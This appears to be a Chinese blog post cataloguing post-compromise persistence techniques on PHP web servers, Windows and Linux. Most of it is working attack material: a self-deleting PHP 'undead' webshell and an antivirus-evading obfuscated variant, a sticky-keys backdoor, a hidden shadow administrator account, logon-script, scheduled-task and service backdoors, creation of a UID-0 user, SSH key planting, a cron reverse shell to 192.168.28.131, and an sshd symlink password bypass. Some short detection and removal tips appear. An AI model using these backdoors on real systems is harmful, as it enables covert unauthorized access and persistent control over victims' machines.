一些常见的权限维持方式

内存马(不死马)

最常见的内存马

<?php
  set_time_limit(0);		#用来设置脚本最大的执行时间,如果为0的话,就会一直执行这个脚本,设置其他数字的话,则按照设置的秒数来进行执行,注意,执行时间和php.ini里的max_execution_time设置有很大的关系,真实时间的计算公式是max_execution_time+time
  ignore_user_abort(1);		#当链接断开,继续执行
  unlink(__FILE__);			#删除当前文件
  while (1) {
  	$content = '<?php @eval($_POST["zzz"]) ?>';
  	file_put_contents("config.php", $content);		#创建文件,写入内容
  	usleep(10000);		#延迟执行
  }
?>

免杀内存马

采用了拼接,旋转,加密解密的手法进行隐藏,并且自定义函数,配合变量替换,成功对绕过进行免杀
因为创建了类,所以这个内存马,暂时只支持5.3以上的高级php版本
运行后将持续创建log.php

可更改yourcode自定义写入log.php文件内容

<?php
static $time =10000 ;     
static $yourcode = 'Cjw/cGhwIGV2YWwoJF9QT1NUW2NdKTs/Pg==';      //bypass
header("Content-Type: text/html; charset=utf-8");
function EasyTo($myfile,$author){
    fwrite($myfile,$author);
    return Fread($myfile,"111"); 
}
class FileRead{
    function __construct($read,$num){
        $a = 1;
        if ($num != Null)
             $a = strlen($num);
        print Fread($read,$a);
    }
    function test(){
        echo "<br>"."ok\n";
    }
	function eb($yijufa){  
        $b = "_46esab";
		$e = "edocne";
		$eb = srv($e.$b);
        return $eb($yijufa);	
    }
    function db($jiekai){  
        $c = "_46esab";
		$a = "edoced";
		$db = srv($a.$c);
        return $db($jiekai);
    }
    function zhixing($hiddden){  
        $ss = "ss";
        $tt = "tt";
        $yy = "yy";
        $ee = "em";
        $db = srv($ss[1].$yy[1].$ss[0]).srv($ee[1].$ee[0].$tt[0]);
        return $db($hiddden);
    }
}
function srv($str){    
    $new_str = "";
	for ($i = strlen($str)-1;$i >= 0; $i--){
        $new_str .= $str{$i};
    }
    return $new_str;
}
ignore_user_abort(true);
set_time_limit($time);  
while(1)
{
	$clear = fopen("log.php", "r"); 
	fgets($clear);
	echo $tmp = "\n".fgets($clear);  

    $myfile = fopen("log.php ", "a+"); 
    $a = $myfile;
	$b = new FileRead($a,"asdasdasdasdasdasd");
    $t = date('Y-M-D H:i:s',time()); 
	$tt = $b->eb($t);  
	unlink(__FILE__);
	$code = $yourcode; 
	if(md5($tmp)===md5($b->db($code)))     
	{
		echo md5($tmp)."\n";
		echo md5($b->db($code));	
	}
    else
	    EasyTo($a,$b->db($tt.$code));  
    echo $b->zhixing(srv("birtta")." +s +h log.php");
	fclose($clear);
	fclose($myfile);
    usleep(5000000);
}
?>

防御方式

1,创建同名文件夹

rm config.php & mkdir config.php

2,条件竞争

3,kill杀进程

kill -9 -1  #杀掉当前用户下的所有进程

Windows

shift后门

创建shift粘贴键后门

粘滞键的启动程序在C盘的Windows/system32目录下为sethc.exe。所以我们打开注册表,定位到以下路径:
HKEY_LOCAL_MACHINE\ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File ExecutionOption
image

在目录中新建一个sethc.exe的子项,并添加一个新键debugger,debugger的对应键值为后门木马的路径,这里我用cmd路径代替一下。
cmd路径:C:\Windows\system32\cmd.exe
image
image
image

shift粘贴键后门创建完成之后,在锁屏状态下连按次shift粘贴键,C:\Windows\system32\cmd.exe文件运行,弹出命令行。

通过命令行的话需要知道sethc文件位置

粘滞键位置:c:\windows\system32\sethc.exe
move sethc.exe sethc1.exe
copy cmd.exe sethc.exe

影子账号

1.使用如下命令创建隐藏用户并加入管理员组

net user test$ 123456 /add
net localgroup administrators test$ /add

创建成功后使用net user命令无法查看到此用户,但是在计算机管理页面中还是可以看到,需要通过修改注册表来隐藏。
打开注册表(HKEY_LOCAL_MACHINE\SAM\SAM)
修改SAM权限,赋予adminitrators完全控制权限。
image

将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值。
image

将test$和所对应项000003F1导出,分别命名为test.reg和1.reg
image
image

删除test$用户,将test.reg和1.reg导入注册表

net user test$ /delregedit /s test.regregedit /s 1.reg

此时在用户组已经看不到test$用户,只能在注册表中能看到。

删除方式

net user test$ /del

虽然net user不能显示影子账号,但是wmic useraccount get Name会显示

wmic useraccount get Name

也可以通过计算机管理 -> 本地用户和组 中直接删除

logon scripts后门

Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表位置:HKEY_CURRENT_USER\Environment
常用来上线cs

REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\666.exe" 
#创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径

image

计划任务后门

schtasks命令设定计划自动启动后门程序。

schtasks /Create /tn Updater /tr c:\666.exe /sc minute /mo 5 #每5分钟自动执行666.exe

image

image

服务自启动后门

自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务。

sc create test binpath= c:\666.exe (注意等号后面有空格)#创建服务
sc config test start= auto #设置服务为自动启动
net start test #启动服务`

DLL劫持

Linux

一句话添加用户和密码

第一种最基础,也最可能被利用

1.创建一个用户名test,密码为123456的普通用户

useradd -p `openssl passwd -1 -salt 'salt' 123456` test

useradd -p方法 `` 是用来存放可执行的系统命令,“$()”也可以存放命令执行语句

useradd -p "$(openssl passwd -1 123456)" chao2
useradd chao4;echo 'chao4:123456'|chpasswd
useradd chao5;echo -e "123456\n123456\n" |passwd chao5

2.添加root用户

useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

3.可疑用户排查(awk,sed安全运维使用的比较多)
查询特权用户(uid为0)

awk -F: '$3==0{print $1}' /etc/passw 

查询可以远程登录的账号信息

awk '/\$1|\$6/{print $1}' /etc/shadow

除root账号外,其他账号是否存在sudo权限。如非管理需要,普通账号应删除duo权限

more /etc/sudoers |grep -v "^#\|^$" |grep "ALL=(ALL)"

ssh权限维持

介绍描述:
在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。

首先在windows中
生成一对公私钥(三次回车即可)

ssh-keygen -t rsa

公钥路径:C:\Users\27843/.ssh/id_rsa.pub.

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/PFmrMbInWtZX2hbGPSTETtWjZ3WLyGYOd+O6ytRfKWAy1VcovKqifbMMuTL/+fhNep8tJ1b4nC1Qc+ZRN52QY64rpPbMPYrTTbSpYv1AScJB8bhkjns+o4OITDTHrpG5WZL8r2YJXVtwfSq2kgJUlsPPCHHwg/BjbB+btjJS0sYLxOwOtyzJg/WTKvKi9gndfLNMqn0UHUZz9JfFR+m56x/Z29LzXZzIC7Bbcpqu2JG0BwkMWD/sc4SVMF/ff+E9BNIMVoHLfJ9G9Fo0Q27CR32hqWjF7HQ8usLDGf3lwuCbvwI7Ur8dtNL9XIYzuh7GXWY8VaIRfiZxrIcrpbOf 27843@DESKTOP-019VT8P

将公钥复制下来,然后我们模拟提权成功了一个root权限的shell

我们用ssh远程连接centos客户机
之后再在root目录下创建一个

mkdir .ssh
touch authorized_keys

然后再用重定向进行将公钥写入

echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/PFmrMbInWtZX2hbGPSTETtWjZ3WLyGYOd+O6ytRfKWAy1VcovKqifbMMuTL/+fhNep8tJ1b4nC1Qc+ZRN52QY64rpPbMPYrTTbSpYv1AScJB8bhkjns+o4OITDTHrpG5WZL8r2YJXVtwfSq2kgJUlsPPCHHwg/BjbB+btjJS0sYLxOwOtyzJg/WTKvKi9gndfLNMqn0UHUZz9JfFR+m56x/Z29LzXZzIC7Bbcpqu2JG0BwkMWD/sc4SVMF/ff+E9BNIMVoHLfJ9G9Fo0Q27CR32hqWjF7HQ8usLDGf3lwuCbvwI7Ur8dtNL9XIYzuh7GXWY8VaIRfiZxrIcrpbOf 27843@DESKTOP-019VT8P” >>authorized_keys

然后退出之后验证

ssh root@192.168.43.229

描述:
其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。
排查技巧:查看/root/.ssh/authorized_keys是否被修改。

计划任务反弹shell

1.首先在/etc/创建一个shell脚本

vim /etc/eval.sh

image
写入反弹shell的脚本

#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/6677  0>&1

再赋予权限
chmod +sx /etc/evil.sh

vim /etc/crontab 

添加上

*/1 * * * * root /etc/shell.sh

image
2、重启计划任务

systemctl restart crond

3.本地开启监听

lvvp -6677

拿到shell

排查技巧:查看可疑的定时任务列表

crontab -e

软连接

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
-s :创建一个软连接
-f: 指定一个文件
-o: 输出到,
ls /tmp/su

查看是否存在这个软连接

netstat -anptu | grep 8888

然后在进行验证

ssh root@192.168.0.104 -p 8888

随便乱输就可以
操作:
首先创建一个软连接,发现创建成功,我们再看一下8888端口是否开放,发现正常将防火墙关闭

systemctl stop firewalld

关闭selinux

vim /etc/sysconfig/selinux

我们进行验证

ssh root@ip -p 8888

发现可以直接输乱错密码就可以进行登录成功(不需要正确得密码)

排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。

ps aux|grep su 或者ps aux|grep 8888
posted @   LinkPoc  阅读(267)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek火爆全网,官网宕机?本地部署一个随便玩「LLM探索」
· 开发者新选择:用DeepSeek实现Cursor级智能编程的免费方案
· 【译】.NET 升级助手现在支持升级到集中式包管理
· 独立开发经验谈:如何通过 Docker 让潜在客户快速体验你的系统
· Tinyfox 发生重大改版
点击右上角即可分享
微信分享提示